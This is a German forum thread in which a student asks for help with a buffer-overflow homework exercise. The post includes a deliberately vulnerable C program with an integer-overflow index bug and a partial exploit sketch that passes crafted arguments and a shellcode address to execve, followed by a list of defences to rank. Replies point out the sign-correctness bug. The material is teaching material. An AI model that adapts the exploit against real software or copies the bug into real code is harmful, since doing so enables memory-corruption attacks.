Autor Beitrag
jule.blau
Hält's aus hier
Beiträge: 1



BeitragVerfasst: Fr 23.11.12 08:04 
Guten Morgen an euch alle :)
ich bin gerade durch google auf das Forum hier gestoßen und dachte ich frage euch mal um Hilfe...
Also: Ich muss heute ein Übungsblatt zum Thema Buffer overflows abgeben, bei dem ein C-Programm gegeben ist und ein Exploit, welches einen Buffer Overflow anzettelt- und verschiedene Möglichkeiten, wie man das verhindern kann. Und nun soll ich bewerten, was von den Möglichkeiten am sinnvollsten ist.

Mein Problem ist jetzt, dass ich nicht wirklich Ahnung von C habe (ok, vielleicht auch gar keine Ahnung)
und mir nur schwer zusammenreimen kann, was das alles genau macht :) Deswegen komme ich damit nicht klar und dachte ich frage hier um Hilfe.

Hier ist mal der Code des Programms:
ausblenden C#-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
bool check (short i, short n){
return i<n;
}


int main (int argc, char *argv[]){
if (argc!= 4 ) return -1;
n= atoi(argv[1]);
if (n<0return -1;
int a[n];
int i= atoi(argv[2]);
int d=atoi(argv[3]);
if(check(i,n)) a[i]=d;
return 0;
}


Und hier das Exploit:
ausblenden C#-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
int main (void){
char* args[3]; char *env[1];
char sc[sizeof(shellcode)+1];
char a1[20]; char a2[20]; char a3[20];
sprintf(a1, "%d"32767);
sprintf(a2, "%d"32767+S_LOCAL+2);
sprintf(a3, "%d", (int) ARGV0_ADDR);
strcpy(sc, shellcode);
sc[sizeof(shellcode)]='\0';
env[0]=NULL;
return execve("target", args, env);
}

Wobei S_LOCAL die Größe der lokalen Variablen zwischen array a und dem sf ist.
So und folgende Möglichkeiten zur Abwehr sind angegeben, die ich dann bewerten soll:
a) Checking array bounds at runtime with CRED
b) Checking array bounds at run-time with Libsafe or Libsafe PLUS
c) Stack canaries
d) Non-executable stack
e) Adress space randomization

Für mich macht das halt leider alles Sinn - aber es ist sehr unwahrscheinlich dass das stimt :)
Würde mich über jede Hilfe freuen :)

Vielen Dank & liebe Grüße,
Jule


Moderiert von user profile iconNarses: Topic aus Linux API verschoben am Fr 23.11.2012 um 08:25
Moderiert von user profile iconGausi: Delphi- durch C#-Tags ersetzt
Th69
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Moderator
Beiträge: 3321
Erhaltene Danke: 610

Win7
C++, C# (VS 2010/12/13/15)
BeitragVerfasst: Fr 23.11.12 13:02 
Hallo jule.blau :welcome:

wie du vllt. schon gemerkt hast, ist dieses Forum eher auf Delphi, C# und Web ausgelegt.
Du hast aber Glück, daß ich in grauer Vorzeit mal C programmiert habe ;-)

Jedoch versteh ich überhaupt nicht den Zusammenhang zwischen deinen beiden Codeausschnitten. Soll "target" der Programmname des ersten Codes sein?
Und ich sehe weder ein "array a" noch eine Variable "sf".
WasWeißDennIch
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Beiträge: 652
Erhaltene Danke: 160



BeitragVerfasst: Fr 23.11.12 13:30 
Zumindest das Array lässt sich finden (Zeile 10).
ausblenden C#-Quelltext
1:
int a[n];					
Th69
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starontopic star
Moderator
Beiträge: 3321
Erhaltene Danke: 610

Win7
C++, C# (VS 2010/12/13/15)
BeitragVerfasst: Fr 23.11.12 14:22 
Stimmt,

VLA (Variable length arrays) in C99.

Aber ich denke, bei dem Crosspost im C/C++ Forum www.c-plusplus.de/forum/310943 bist du, jule, sowieso besser aufgehoben.
BenBE
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 8693
Erhaltene Danke: 172

Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
BeitragVerfasst: Mo 03.12.12 20:58 
Da mir das VERDAMMT nach Hausaufgabe aussieht, sag ich dazu jetzt einmal nicht Integer Overflow bzw. Sign Correctness Bug. Das wäre hier nämlich der eigentliche Fehler.

Und Verhindern: Indem man sauberen Code schreibt. Kollegen, die sowas schreiben, töten auch süße Kätzchen.

_________________
Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.
Serbsis
Hält's aus hier
Beiträge: 8



BeitragVerfasst: Mo 10.12.12 11:41 
:D Ja na ja scheint auf jeden Fall ne Hausaufgabe zu sein. Ob sie noch mitteilt, welche Note sie dafür bekommen hat?